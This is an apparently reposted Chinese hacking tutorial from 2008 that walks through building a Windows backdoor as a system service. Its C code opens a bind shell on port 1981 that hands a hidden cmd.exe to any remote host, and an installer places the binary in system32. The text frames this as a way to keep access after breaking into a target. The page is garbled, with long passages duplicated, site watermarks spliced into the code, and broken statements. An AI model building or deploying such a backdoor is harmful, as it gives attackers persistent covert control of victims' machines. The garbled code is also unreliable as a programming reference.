作者在 2008-11-29 15:54:12 发布以下内容
以往大多数的木马/后门都是通过修改系统ini文件(比如Win.ini,System.ini)或修改注册表的RUN值来实现自启动的,更有更简单的是修改Autobat.exe(老大,地球不适合你,你还是回火星吧),但随着网络用户安全意识的提高,连我家旁边卖茶叶蛋的大妈都知道怎么对付这些老方法了。为了适应新时代木马后门技术的发展需求,一种利用视窗系统 NT/2000/XP系统服务的后门产生了,目前的WinShell,WinEggDrop等众人皆知的Telnte扩展后门都利用了这种方式。相信非常多小菜们对这种后门技术并不了解,所以,我在这里就充个大头,给大家传授教业解解惑吧(受害MM目光呆滞,一脸绝望:有了你们这帮人,天下什么时候才能“无贼”啊?)。
前置原理
视窗系统 NT/2000/XP提供的服务既能指一种特定的Win32进程,也能指内核模式的设备驱动程式。操作系统的一个称为“服务控制管理器SCM”的组件被用来装载和控制这两种类型的服务。当然,我们说的服务,是指的前者,即我们能利用的服务是个在视窗系统 NT/2000/XP下执行的程式。当我们打开“控制面板管理工具服务”,就能看到右边有一堆的服务。每一行指定了一个特定服务的属性,包括名称、描述、状态、启动类型、登录方式等。
前置原理
视窗系统 NT/2000/XP提供的服务既能指一种特定的Win32进程,也能指内核模式的设备驱动程式。操作系统的一个称为“服务控制管理器SCM”的组件被用来装载和控制这两种类型的服务。当然,我们说的服务,是指的前者,即我们能利用的服务是个在视窗系统 NT/2000/XP下执行的程式。当我们打开“控制面板管理工具服务”,就能看到右边有一堆的服务。每一行指定了一个特定服务的属性,包括名称、描述、状态、启动类型、登录方式等。
www.bitsCN.com
“服务”本身是视窗系统 NT/2000/XP下客户/服务器软件的合理选择,因为他提供了像Unix下后台程式Daemons(守护进程)的等价物,而且使得创建能够代表权限低的用户进行权限高的操作的程式成为可能。像我们熟知的RPC服务,病毒扫描程式及备份程式都是非常适合作为服务进程。
服务能被我们利用作为后门实现自启动,是因为他有三个非常重要的特性:
1. 服务能被指定为自启动,在利用传统的注册表修改RUN键值,添加ini自启动项等方法的基础上又多了一种选择。
2. 服务能在所有用户登录前开始运行,我们能在服务启动时加入杀防火墙的代码。
3. 服务是运行在后台的,如果不注意,天知道什么时候被人家装了后门。
服务大都是由服务控制程式在注册表中维护的一个信息数据库来管理的,每个服务在HKEY_LOCAL_MACHINESystemCurrentControlSetServices中都能找到相应的一个关键项。服务差别于一般视窗系统 NT/2000/XP程式的主要之处在于服务和服务控制管理程式的合作,在后面的编程中我们将会体会到这一点。
编程实现
一个完整的服务分为安装服务程式,主体服务程式和卸载服务程式。我们先来写服务的主体部分,示例代码如下: bitsCN.Com
Code:
void main()
{
SERVICE_TABLE_ENTRY ServiceTable[] =
{
{"scuhkr", BDServiceMain},
{NULL, NULL} //"哨兵"
};
//连接到服务控制管理器
StartServiceCtrlDispatcher(ServiceTable);
}
上面代码中,我们先给出了一个SERVICE_TABLE_ENTRY结构数组,每个成员描述了调用进程提供的服务,这里我们只安装了一个服务名为Scuhkr的服务,后面的BDServiceMain()我们称之为服务主函数,通过回调该函数提供了服务入口地址,他原形的参数必须定义成如下形式:
VOID WINAPI BDServiceMain(
DWORD dwArgc, //lpszArgv参数个数
LPTSTR* lpszArgv //该数组第一个的参数指定了服务名,能在后面被
?????? StartService()来调用
);
SERVICE_TABLE_ENTRY结构数组需求最后一个成员组都为NULL,我们称之为“哨兵”(所有值都为NULL),表示该服务表末尾。一个服务启动后,马上调用StartServiceCtrlDispatcher()通知服务控制程式服务正在执行,并提供服务函数的地址。StartServiceCtrlDispatcher()只需要一个至少有两SERVICE_TABLE_ENTRY结构的数组,他为每个服务启动一个线程,一直等到他们结束才返回。
本程式只提供了一个服务函数BDServiceMain(),下面我们来下完成这个函数的功能,示例代码如下:
void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
DWORD dwThreadId; //存放线程ID
//通过RegisterServiceCtrlHandler()和服务控制程式建立一个通信的协议。
//BDHandler()是我们的服务控制程式,他被能被用来开始,暂停,恢复,停止服务等控制操作
if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
?????? BDHandler)))
return;
//表示该服务私有
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
//初始化服务,正在开始
ServiceStatus.dwCurrentState = SERVICE_START_PENDING; //
//服务能接受的请求,这里我们只接受停止服务请求和暂停恢复请求
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
?????? | SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面几个一般我们不大关心,全为0
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode?? = 0;
ServiceStatus.dwCheckPoint???? = 0; 中国网管联盟
ServiceStatus.dwWaitHint???? = 0;
//必须调用SetServiceStatus()来响应服务控制程式的每次请求通知
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开始运行服务
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint? = 0;
ServiceStatus.dwWaitHint? = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我们用一个事件对象来控制服务的同步
if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
return;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwCheckPoint? = 0;
ServiceStatus.dwWaitHint? = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开线程来启动我们的后门程式
if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0,
&dwThreadId)))
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint? = 0;
ServiceStatus.dwWaitHint? = 0;
WaitForSingleObject(hEvent, INFINITE);
CloseHandle(hThread);
ExitThread(dwThreadId);
CloseHandle(hEvent);
return;
}
上面我们调用了一个服务控制函数BDHandler(),由于只是简单的介绍,我们这里只处理服务停止控制请求的情况,其他暂停、恢复等功能,读者能自己完善。下面是对BDHandler()的实现代码:
void WINAPI BDHandler(DWORD dwControl)
{
switch(dwControl)
{
case SERVICE_CONTROL_STOP:
//等待后门程式的停止
ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
ServiceStatus.dwCheckPoint? = 0;
ServiceStatus.dwWaitHint? = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//设时间为激发状态,等待下一个事件的到来
SetEvent(hEvent);
ServiceStatus.dwCurrentState = SERVICE_STOP;
ServiceStatus.dwCheckPoint? = 0;
ServiceStatus.dwWaitHint? = 0;
//停止
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
break;
default:
break;
}
}
服务控制函数搞定了,下面就剩下主体的后门函数了。本程式借用了许多前辈翻写过了无数次的后门程式,通过开一个端口监听,允许所有和该端口连接的远程主机建立信任连接,并提供一个交互式Shell。为了代码清晰,我去掉了错误检查,整个过程非常简单,也就不多解释了,代码如下: www_bitscn_com
DWORD WINAPI MainFn(LPVOID lpParam)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(1981); //监听端口
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 2);
varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
dowhile((varA || varB) == 0);
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE; //隐藏控制台窗口
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);
strcat(szAPP,"cmd.exe");
//开cmd进程
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!n");
return -1;
}
while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
return 0;
}
//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024, 中国网管论坛
0);
printf("%sn", recv_buff);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
return 0;
}
目前我们成功入侵目标主机,在拍屁股走人之前,怎么也要留个后门,方便下次继续。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实非常简单,示例代码如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL, //服务控制管理器句柄
hService = NULL;? //服务句柄
char szSysPath[MAX_PATH]=,
szExePath[MAX_PATH]=;? //我们要把我们后台执行的程式放在这里,一般就是在admin$system32里,
隐蔽性高
if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主机
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
{
pirntf("OpenSCManager failedn");
return;
}
GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe"); //应用程式绝对路径
if ((hService=CreateService(hSCManager, //指向服务控制管理数据库的句柄
? "scuhkr",? //服务名
? "scuhkr backdoor service", //显示用的服务名
? SERVICE_ALL_ACCESS, //所有访问权限
? SERVICE_WIN32_OWN_PROCESS, //私有类型
? SERVICE_DEMAND_START, //自启动类型?? SERVICE_ERROR_IGNORE, //忽略错误处理
? szExePath, //应用程式路径
? NULL,
? NULL,
? NULL,
? NULL,
“服务”本身是视窗系统 NT/2000/XP下客户/服务器软件的合理选择,因为他提供了像Unix下后台程式Daemons(守护进程)的等价物,而且使得创建能够代表权限低的用户进行权限高的操作的程式成为可能。像我们熟知的RPC服务,病毒扫描程式及备份程式都是非常适合作为服务进程。
服务能被我们利用作为后门实现自启动,是因为他有三个非常重要的特性:
1. 服务能被指定为自启动,在利用传统的注册表修改RUN键值,添加ini自启动项等方法的基础上又多了一种选择。
2. 服务能在所有用户登录前开始运行,我们能在服务启动时加入杀防火墙的代码。
3. 服务是运行在后台的,如果不注意,天知道什么时候被人家装了后门。
服务大都是由服务控制程式在注册表中维护的一个信息数据库来管理的,每个服务在HKEY_LOCAL_MACHINESystemCurrentControlSetServices中都能找到相应的一个关键项。服务差别于一般视窗系统 NT/2000/XP程式的主要之处在于服务和服务控制管理程式的合作,在后面的编程中我们将会体会到这一点。
编程实现
一个完整的服务分为安装服务程式,主体服务程式和卸载服务程式。我们先来写服务的主体部分,示例代码如下: bitsCN.Com
Code:
void main()
{
SERVICE_TABLE_ENTRY ServiceTable[] =
{
{"scuhkr", BDServiceMain},
{NULL, NULL} //"哨兵"
};
//连接到服务控制管理器
StartServiceCtrlDispatcher(ServiceTable);
}
上面代码中,我们先给出了一个SERVICE_TABLE_ENTRY结构数组,每个成员描述了调用进程提供的服务,这里我们只安装了一个服务名为Scuhkr的服务,后面的BDServiceMain()我们称之为服务主函数,通过回调该函数提供了服务入口地址,他原形的参数必须定义成如下形式:
VOID WINAPI BDServiceMain(
DWORD dwArgc, //lpszArgv参数个数
LPTSTR* lpszArgv //该数组第一个的参数指定了服务名,能在后面被
?????? StartService()来调用
);
SERVICE_TABLE_ENTRY结构数组需求最后一个成员组都为NULL,我们称之为“哨兵”(所有值都为NULL),表示该服务表末尾。一个服务启动后,马上调用StartServiceCtrlDispatcher()通知服务控制程式服务正在执行,并提供服务函数的地址。StartServiceCtrlDispatcher()只需要一个至少有两SERVICE_TABLE_ENTRY结构的数组,他为每个服务启动一个线程,一直等到他们结束才返回。
BBS.bitsCN.com网管论坛
本程式只提供了一个服务函数BDServiceMain(),下面我们来下完成这个函数的功能,示例代码如下:
void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
DWORD dwThreadId; //存放线程ID
//通过RegisterServiceCtrlHandler()和服务控制程式建立一个通信的协议。
//BDHandler()是我们的服务控制程式,他被能被用来开始,暂停,恢复,停止服务等控制操作
if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
?????? BDHandler)))
return;
//表示该服务私有
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
//初始化服务,正在开始
ServiceStatus.dwCurrentState = SERVICE_START_PENDING; //
//服务能接受的请求,这里我们只接受停止服务请求和暂停恢复请求
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
?????? | SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面几个一般我们不大关心,全为0
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode?? = 0;
ServiceStatus.dwCheckPoint???? = 0; 中国网管联盟
ServiceStatus.dwWaitHint???? = 0;
//必须调用SetServiceStatus()来响应服务控制程式的每次请求通知
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开始运行服务
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint? = 0;
ServiceStatus.dwWaitHint? = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我们用一个事件对象来控制服务的同步
if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
return;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwCheckPoint? = 0;
ServiceStatus.dwWaitHint? = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开线程来启动我们的后门程式
if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0,
&dwThreadId)))
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint? = 0;
ServiceStatus.dwWaitHint? = 0;
WaitForSingleObject(hEvent, INFINITE);
中国网管联盟
CloseHandle(hThread);
ExitThread(dwThreadId);
CloseHandle(hEvent);
return;
}
上面我们调用了一个服务控制函数BDHandler(),由于只是简单的介绍,我们这里只处理服务停止控制请求的情况,其他暂停、恢复等功能,读者能自己完善。下面是对BDHandler()的实现代码:
void WINAPI BDHandler(DWORD dwControl)
{
switch(dwControl)
{
case SERVICE_CONTROL_STOP:
//等待后门程式的停止
ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
ServiceStatus.dwCheckPoint? = 0;
ServiceStatus.dwWaitHint? = 0;
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//设时间为激发状态,等待下一个事件的到来
SetEvent(hEvent);
ServiceStatus.dwCurrentState = SERVICE_STOP;
ServiceStatus.dwCheckPoint? = 0;
ServiceStatus.dwWaitHint? = 0;
//停止
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
break;
default:
break;
}
}
服务控制函数搞定了,下面就剩下主体的后门函数了。本程式借用了许多前辈翻写过了无数次的后门程式,通过开一个端口监听,允许所有和该端口连接的远程主机建立信任连接,并提供一个交互式Shell。为了代码清晰,我去掉了错误检查,整个过程非常简单,也就不多解释了,代码如下: www_bitscn_com
DWORD WINAPI MainFn(LPVOID lpParam)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(1981); //监听端口
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 2);
varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
dowhile((varA || varB) == 0);
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE; //隐藏控制台窗口
BBS.bitsCN.com网管论坛
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);
strcat(szAPP,"cmd.exe");
//开cmd进程
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!n");
return -1;
}
while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
return 0;
}
//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024, 中国网管论坛
0);
printf("%sn", recv_buff);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
return 0;
}
目前我们成功入侵目标主机,在拍屁股走人之前,怎么也要留个后门,方便下次继续。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实非常简单,示例代码如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL, //服务控制管理器句柄
hService = NULL;? //服务句柄
char szSysPath[MAX_PATH]=,
DL.bitsCN.com网管软件下载
szExePath[MAX_PATH]=;? //我们要把我们后台执行的程式放在这里,一般就是在admin$system32里,
隐蔽性高
if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主机
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
{
pirntf("OpenSCManager failedn");
return;
}
GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe"); //应用程式绝对路径
if ((hService=CreateService(hSCManager, //指向服务控制管理数据库的句柄
? "scuhkr",? //服务名
? "scuhkr backdoor service", //显示用的服务名
? SERVICE_ALL_ACCESS, //所有访问权限
? SERVICE_WIN32_OWN_PROCESS, //私有类型
? SERVICE_DEMAND_START, //自启动类型?? SERVICE_ERROR_IGNORE, //忽略错误处理
? szExePath, //应用程式路径
? NULL,
? NULL,
? NULL,
? NULL,
中国网管论坛
? NULL)) == NULL)
{
printf("%dn", GetLastError());
return;
}
//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
if(StartService(hService, 0, NULL) == FALSE)
{
printf("StartService failed: %dn", GetLastError());
return;
}
printf(“Install service successfullyn ”);
CloseServiceHandle(hService); //关闭服务句柄
CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
}
一切都写完了,我们在本机上测试一下,先把前面的服务主体程式Scuhkr.exe拷贝到系统目录system32下(如果需要程式自动实现自拷贝的,能通过CopyFile()来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell的原始码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”。看到安装服务的信息了?是不是非常简单呢!
? NULL)) == NULL)
{
printf("%dn", GetLastError());
return;
}
//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
if(StartService(hService, 0, NULL) == FALSE)
{
printf("StartService failed: %dn", GetLastError());
return;
}
printf(“Install service successfullyn ”);
CloseServiceHandle(hService); //关闭服务句柄
CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
}
一切都写完了,我们在本机上测试一下,先把前面的服务主体程式Scuhkr.exe拷贝到系统目录system32下(如果需要程式自动实现自拷贝的,能通过CopyFile()来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell的原始码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”。看到安装服务的信息了?是不是非常简单呢!
以上内容由 华夏名网 搜集整理,如转载请注明原文出处,并保留这一部分内容。
“华夏名网” http://www.sudu.cn 和 http://www.bigwww.com 是成都飞数科技有限公司的网络服务品牌,专业经营虚拟主机,域名注册,VPS,服务器租用业务。公司创建于2002年,经过6年的高速发展,“华夏名网”已经成为我国一家知名的互联网服务提供商,被国外权威机构webhosting.info评价为25大IDC服务商之一。 |